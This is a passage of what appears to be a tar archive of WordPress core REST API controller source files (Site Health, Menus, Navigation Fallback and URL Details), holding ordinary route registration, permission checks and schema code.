					'methods'             => 'GET',
					'callback'            => array( $this, 'test_authorization_header' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'authorization_header' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s',
				'directory-sizes'
			),
			array(
				'methods'             => 'GET',
				'callback'            => array( $this, 'get_directory_sizes' ),
				'permission_callback' => function () {
					return $this->validate_request_permission( 'directory_sizes' ) && ! is_multisite();
				},
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'page-cache'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_page_cache' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'page_cache' );
					},
				),
			)
		);
	}

	/**
	 * Validates if the current user can request this REST endpoint.
	 *
	 * @since 5.6.0
	 *
	 * @param string $check The endpoint check being ran.
	 * @return bool
	 */
	protected function validate_request_permission( $check ) {
		$default_capability = 'view_site_health_checks';

		/**
		 * Filters the capability needed to run a given Site Health check.
		 *
		 * @since 5.6.0
		 *
		 * @param string $default_capability The default capability required for this check.
		 * @param string $check              The Site Health check being performed.
		 */
		$capability = apply_filters( "site_health_test_rest_capability_{$check}", $default_capability, $check );

		return current_user_can( $capability );
	}

	/**
	 * Checks if background updates work as expected.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_background_updates() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_background_updates();
	}

	/**
	 * Checks that the site can reach the WordPress.org API.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_dotorg_communication() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_dotorg_communication();
	}

	/**
	 * Checks that loopbacks can be performed.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_loopback_requests() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_loopback_requests();
	}

	/**
	 * Checks that the site's frontend can be accessed over HTTPS.
	 *
	 * @since 5.7.0
	 *
	 * @return array
	 */
	public function test_https_status() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_https_status();
	}

	/**
	 * Checks that the authorization header is valid.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function test_authorization_header() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_authorization_header();
	}

	/**
	 * Checks that full page cache is active.
	 *
	 * @since 6.1.0
	 *
	 * @return array The test result.
	 */
	public function test_page_cache() {
		$this->load_admin_textdomain();
		return $this->site_health->get_test_page_cache();
	}

	/**
	 * Gets the current directory sizes for this install.
	 *
	 * @since 5.6.0
	 *
	 * @return array|WP_Error
	 */
	public function get_directory_sizes() {
		if ( ! class_exists( 'WP_Debug_Data' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php';
		}

		$this->load_admin_textdomain();

		$sizes_data = WP_Debug_Data::get_sizes();
		$all_sizes  = array( 'raw' => 0 );

		foreach ( $sizes_data as $name => $value ) {
			$name = sanitize_text_field( $name );
			$data = array();

			if ( isset( $value['size'] ) ) {
				if ( is_string( $value['size'] ) ) {
					$data['size'] = sanitize_text_field( $value['size'] );
				} else {
					$data['size'] = (int) $value['size'];
				}
			}

			if ( isset( $value['debug'] ) ) {
				if ( is_string( $value['debug'] ) ) {
					$data['debug'] = sanitize_text_field( $value['debug'] );
				} else {
					$data['debug'] = (int) $value['debug'];
				}
			}

			if ( ! empty( $value['raw'] ) ) {
				$data['raw'] = (int) $value['raw'];
			}

			$all_sizes[ $name ] = $data;
		}

		if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) {
			return new WP_Error( 'not_available', __( 'Directory sizes could not be returned.' ), array( 'status' => 500 ) );
		}

		return $all_sizes;
	}

	/**
	 * Loads the admin textdomain for Site Health tests.
	 *
	 * The {@see WP_Site_Health} class is defined in WP-Admin, while the REST API operates in a front-end context.
	 * This means that the translations for Site Health won't be loaded by default in {@see load_default_textdomain()}.
	 *
	 * @since 5.6.0
	 */
	protected function load_admin_textdomain() {
		// Accounts for inner REST API requests in the admin.
		if ( ! is_admin() ) {
			$locale = determine_locale();
			load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo", $locale );
		}
	}

	/**
	 * Gets the schema for each site health test.
	 *
	 * @since 5.6.0
	 *
	 * @return array The test schema.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->schema;
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'wp-site-health-test',
			'type'       => 'object',
			'properties' => array(
				'test'        => array(
					'type'        => 'string',
					'description' => __( 'The name of the test being run.' ),
					'readonly'    => true,
				),
				'label'       => array(
					'type'        => 'string',
					'description' => __( 'A label describing the test.' ),
					'readonly'    => true,
				),
				'status'      => array(
					'type'        => 'string',
					'description' => __( 'The status of the test.' ),
					'enum'        => array( 'good', 'recommended', 'critical' ),
					'readonly'    => true,
				),
				'badge'       => array(
					'type'        => 'object',
					'description' => __( 'The category this test is grouped in.' ),
					'properties'  => array(
						'label' => array(
							'type'     => 'string',
							'readonly' => true,
						),
						'color' => array(
							'type'     => 'string',
							'enum'     => array( 'blue', 'orange', 'red', 'green', 'purple', 'gray' ),
							'readonly' => true,
						),
					),
					'readonly'    => true,
				),
				'description' => array(
					'type'        => 'string',
					'description' => __( 'A more descriptive explanation of what the test looks for, and why it is important for the user.' ),
					'readonly'    => true,
				),
				'actions'     => array(
					'type'        => 'string',
					'description' => __( 'HTML containing an action to direct the user to where they can resolve the issue.' ),
					'readonly'    => true,
				),
			),
		);

		return $this->schema;
	}
}
endpoints/class-wp-rest-menus-controller.php000064400000041265151024200430015271 0ustar00<?php
/**
 * REST API: WP_REST_Menus_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to managed menu terms associated via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menus_Controller extends WP_REST_Terms_Controller {

	/**
	 * Checks if a request has access to read menus.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$has_permission = parent::get_items_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks if a request has access to read or edit the specified menu.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$has_permission = parent::get_item_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Gets the term, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$term = parent::get_term( $id );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$nav_term           = wp_get_nav_menu_object( $term );
		$nav_term->auto_add = $this->get_menu_auto_add( $nav_term->term_id );

		return $nav_term;
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * This allows for any user that can `edit_theme_options` or edit any REST API available post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the current user has permission, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view menus.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Term         $term    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $term, $request ) {
		$nav_menu = wp_get_nav_menu_object( $term );
		$response = parent::prepare_item_for_response( $nav_menu, $request );

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( rest_is_field_included( 'locations', $fields ) ) {
			$data['locations'] = $this->get_menu_locations( $nav_menu->term_id );
		}

		if ( rest_is_field_included( 'auto_add', $fields ) ) {
			$data['auto_add'] = $this->get_menu_auto_add( $nav_menu->term_id );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $term ) );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $term, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Term $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$links = parent::prepare_links( $term );

		$locations = $this->get_menu_locations( $term->term_id );
		foreach ( $locations as $location ) {
			$url = rest_url( sprintf( 'wp/v2/menu-locations/%s', $location ) );

			$links['https://api.w.org/menu-location'][] = array(
				'href'       => $url,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object Prepared term data.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = parent::prepare_item_for_database( $request );

		$schema = $this->get_item_schema();

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->{'menu-name'} = $request['name'];
		}

		return $prepared_term;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = wp_get_nav_menu_object( (int) $request['parent'] );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_update_nav_menu_object( 0, wp_slash( (array) $prepared_term ) );

		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */

			if ( in_array( 'menu_exists', $term->get_error_codes(), true ) ) {
				$existing_term = get_term_by( 'name', $prepared_term->{'menu-name'}, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'menu_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $existing_term->term_id,
					)
				);
			} else {
				$term->add_data( array( 'status' => 400 ) );
			}

			return $term;
		}

		$term = $this->get_term( $term );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$locations_update = $this->handle_locations( $term->term_id, $request );

		if ( is_wp_error( $locations_update ) ) {
			return $locations_update;
		}

		$this->handle_auto_add( $term->term_id, $request );

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we have something to update.
		if ( ! empty( $prepared_term ) ) {
			if ( ! isset( $prepared_term->{'menu-name'} ) ) {
				// wp_update_nav_menu_object() requires that the menu-name is always passed.
				$prepared_term->{'menu-name'} = $term->name;
			}

			$update = wp_update_nav_menu_object( $term->term_id, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$locations_update = $this->handle_locations( $term->term_id, $request );

		if ( is_wp_error( $locations_update ) ) {
			return $locations_update;
		}

		$this->handle_auto_add( $term->term_id, $request );

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		// We don't support trashing for terms.
		if ( ! $request['force'] ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menus do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$result = wp_delete_nav_menu( $term );

		if ( ! $result || is_wp_error( $result ) ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The menu cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Returns the value of a menu's auto_add setting.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_id The menu id to query.
	 * @return bool The value of auto_add.
	 */
	protected function get_menu_auto_add( $menu_id ) {
		$nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) );

		return in_array( $menu_id, $nav_menu_option['auto_add'], true );
	}

	/**
	 * Updates the menu's auto add from a REST request.
	 *
	 * @since 5.9.0
	 *
	 * @param int             $menu_id The menu id to update.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the auto add setting was successfully updated.
	 */
	protected function handle_auto_add( $menu_id, $request ) {
		if ( ! isset( $request['auto_add'] ) ) {
			return true;
		}

		$nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) );

		if ( ! isset( $nav_menu_option['auto_add'] ) ) {
			$nav_menu_option['auto_add'] = array();
		}

		$auto_add = $request['auto_add'];

		$i = array_search( $menu_id, $nav_menu_option['auto_add'], true );

		if ( $auto_add && false === $i ) {
			$nav_menu_option['auto_add'][] = $menu_id;
		} elseif ( ! $auto_add && false !== $i ) {
			array_splice( $nav_menu_option['auto_add'], $i, 1 );
		}

		$update = update_option( 'nav_menu_options', $nav_menu_option );

		/** This action is documented in wp-includes/nav-menu.php */
		do_action( 'wp_update_nav_menu', $menu_id );

		return $update;
	}

	/**
	 * Returns the names of the locations assigned to the menu.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_id The menu id.
	 * @return string[] The locations assigned to the menu.
	 */
	protected function get_menu_locations( $menu_id ) {
		$locations      = get_nav_menu_locations();
		$menu_locations = array();

		foreach ( $locations as $location => $assigned_menu_id ) {
			if ( $menu_id === $assigned_menu_id ) {
				$menu_locations[] = $location;
			}
		}

		return $menu_locations;
	}

	/**
	 * Updates the menu's locations from a REST request.
	 *
	 * @since 5.9.0
	 *
	 * @param int             $menu_id The menu id to update.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True on success, a WP_Error on an error updating any of the locations.
	 */
	protected function handle_locations( $menu_id, $request ) {
		if ( ! isset( $request['locations'] ) ) {
			return true;
		}

		$menu_locations = get_registered_nav_menus();
		$menu_locations = array_keys( $menu_locations );
		$new_locations  = array();
		foreach ( $request['locations'] as $location ) {
			if ( ! in_array( $location, $menu_locations, true ) ) {
				return new WP_Error(
					'rest_invalid_menu_location',
					__( 'Invalid menu location.' ),
					array(
						'status'   => 400,
						'location' => $location,
					)
				);
			}
			$new_locations[ $location ] = $menu_id;
		}
		$assigned_menu = get_nav_menu_locations();
		foreach ( $assigned_menu as $location => $term_id ) {
			if ( $term_id === $menu_id ) {
				unset( $assigned_menu[ $location ] );
			}
		}
		$new_assignments = array_merge( $assigned_menu, $new_locations );
		set_theme_mod( 'nav_menu_locations', $new_assignments );

		return true;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();
		unset( $schema['properties']['count'], $schema['properties']['link'], $schema['properties']['taxonomy'] );

		$schema['properties']['locations'] = array(
			'description' => __( 'The locations assigned to the menu.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => static function ( $locations, $request, $param ) {
					$valid = rest_validate_request_arg( $locations, $request, $param );

					if ( true !== $valid ) {
						return $valid;
					}

					$locations = rest_sanitize_request_arg( $locations, $request, $param );

					foreach ( $locations as $location ) {
						if ( ! array_key_exists( $location, get_registered_nav_menus() ) ) {
							return new WP_Error(
								'rest_invalid_menu_location',
								__( 'Invalid menu location.' ),
								array(
									'location' => $location,
								)
							);
						}
					}

					return true;
				},
			),
		);

		$schema['properties']['auto_add'] = array(
			'description' => __( 'Whether to automatically add top level pages to this menu.' ),
			'context'     => array( 'view', 'edit' ),
			'type'        => 'boolean',
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-navigation-fallback-controller.php000064400000012063151024200430020030 0ustar00<?php
/**
 * WP_REST_Navigation_Fallback_Controller class
 *
 * REST Controller to create/fetch a fallback Navigation Menu.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.3.0
 */

/**
 * REST Controller to fetch a fallback Navigation Block Menu. If needed it creates one.
 *
 * @since 6.3.0
 */
class WP_REST_Navigation_Fallback_Controller extends WP_REST_Controller {

	/**
	 * The Post Type for the Controller
	 *
	 * @since 6.3.0
	 *
	 * @var string
	 */
	private $post_type;

	/**
	 * Constructs the controller.
	 *
	 * @since 6.3.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'navigation-fallback';
		$this->post_type = 'wp_navigation';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 6.3.0
	 */
	public function register_routes() {

		// Lists a single nav item based on the given id or slug.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE ),
				),
				'schema' => array( $this, 'get_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read fallbacks.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		// Getting fallbacks requires creating and reading `wp_navigation` posts.
		if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( 'edit_theme_options' ) || ! current_user_can( 'edit_posts' ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create Navigation Menus as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit Navigation Menus as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets the most appropriate fallback Navigation Menu.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = WP_Navigation_Fallback::get_fallback();

		if ( empty( $post ) ) {
			return rest_ensure_response( new WP_Error( 'no_fallback_menu', __( 'No fallback menu found.' ), array( 'status' => 404 ) ) );
		}

		$response = $this->prepare_item_for_response( $post, $request );

		return $response;
	}

	/**
	 * Retrieves the fallbacks' schema, conforming to JSON Schema.
	 *
	 * @since 6.3.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'navigation-fallback',
			'type'       => 'object',
			'properties' => array(
				'id' => array(
					'description' => __( 'The unique identifier for the Navigation Menu.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Matches the post data to the schema we want.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post         $item    The wp_navigation Post object whose response is being prepared.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response $response The response data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$data = array();

		$fields = $this->get_fields_for_response( $request );

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = (int) $item->ID;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Prepares the links for the request.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post $post the Navigation Menu post object.
	 * @return array Links for the given request.
	 */
	private function prepare_links( $post ) {
		return array(
			'self' => array(
				'href'       => rest_url( rest_get_route_for_post( $post->ID ) ),
				'embeddable' => true,
			),
		);
	}
}
endpoints/class-wp-rest-url-details-controller.php000064400000050111151024200430016355 0ustar00<?php
/**
 * REST API: WP_REST_URL_Details_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Controller which provides REST endpoint for retrieving information
 * from a remote site's HTML response.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_URL_Details_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'url-details';
	}

	/**
	 * Registers the necessary REST API routes.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'parse_url_details' ),
					'args'                => array(
						'url' => array(
							'required'          => true,
							'description'       => __( 'The URL to process.' ),
							'validate_callback' => 'wp_http_validate_url',
							'sanitize_callback' => 'sanitize_url',
							'type'              => 'string',
							'format'            => 'uri',
						),
					),
					'permission_callback' => array( $this, 'permissions_check' ),
					'schema'              => array( $this, 'get_public_item_schema' ),
				),
			)
		);
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'url-details',
			'type'       => 'object',
			'properties' => array(
				'title'       => array(
					'description' => sprintf(
						/* translators: %s: HTML title tag. */
						__( 'The contents of the %s element from the URL.' ),
						'<title>'
					),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'icon'        => array(
					'description' => sprintf(
						/* translators: %s: HTML link tag. */
						__( 'The favicon image link of the %s element from the URL.' ),
						'<link rel="icon">'
					),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => sprintf(
						/* translators: %s: HTML meta tag. */
						__( 'The content of the %s element from the URL.' ),
						'<meta name="description">'
					),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'image'       => array(
					'description' => sprintf(
						/* translators: 1: HTML meta tag, 2: HTML meta tag. */
						__( 'The Open Graph image link of the %1$s or %2$s element from the URL.' ),
						'<meta property="og:image">',
						'<meta property="og:image:url">'
					),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the contents of the title tag from the HTML response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error The parsed details as a response object. WP_Error if there are errors.
	 */
	public function parse_url_details( $request ) {
		$url = untrailingslashit( $request['url'] );

		if ( empty( $url ) ) {
			return new WP_Error( 'rest_invalid_url', __( 'Invalid URL' ), array( 'status' => 404 ) );
		}

		// Transient per URL.
		$cache_key = $this->build_cache_key_for_url( $url );

		// Attempt to retrieve cached response.
		$cached_response = $this->get_cache( $cache_key );

		if ( ! empty( $cached_response ) ) {
			$remote_url_response = $cached_response;
		} else {
			$remote_url_response = $this->get_remote_url( $url );

			// Exit if we don't have a valid body or it's empty.
			if ( is_wp_error( $remote_url_response ) || empty( $remote_url_response ) ) {
				return $remote_url_response;
			}

			// Cache the valid response.
			$this->set_cache( $cache_key, $remote_url_response );
		}

		$html_head     = $this->get_document_head( $remote_url_response );
		$meta_elements = $this->get_meta_with_content_elements( $html_head );

		$data = $this->add_additional_fields_to_object(
			array(
				'title'       => $this->get_title( $html_head ),
				'icon'        => $this->get_icon( $html_head, $url ),
				'description' => $this->get_description( $meta_elements ),
				'image'       => $this->get_image( $meta_elements, $url ),
			),
			$request
		);

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		/**
		 * Filters the URL data for the response.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response            The response object.
		 * @param string           $url                 The requested URL.
		 * @param WP_REST_Request  $request             Request object.
		 * @param string           $remote_url_response HTTP response body from the remote URL.
		 */
		return apply_filters( 'rest_prepare_url_details', $response, $url, $request, $remote_url_response );
	}

	/**
	 * Checks whether a given request has permission to read remote URLs.
	 *
	 * @since 5.9.0
	 *
	 * @return true|WP_Error True if the request has permission, else WP_Error.
	 */
	public function permissions_check() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view_url_details',
			__( 'Sorry, you are not allowed to process remote URLs.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
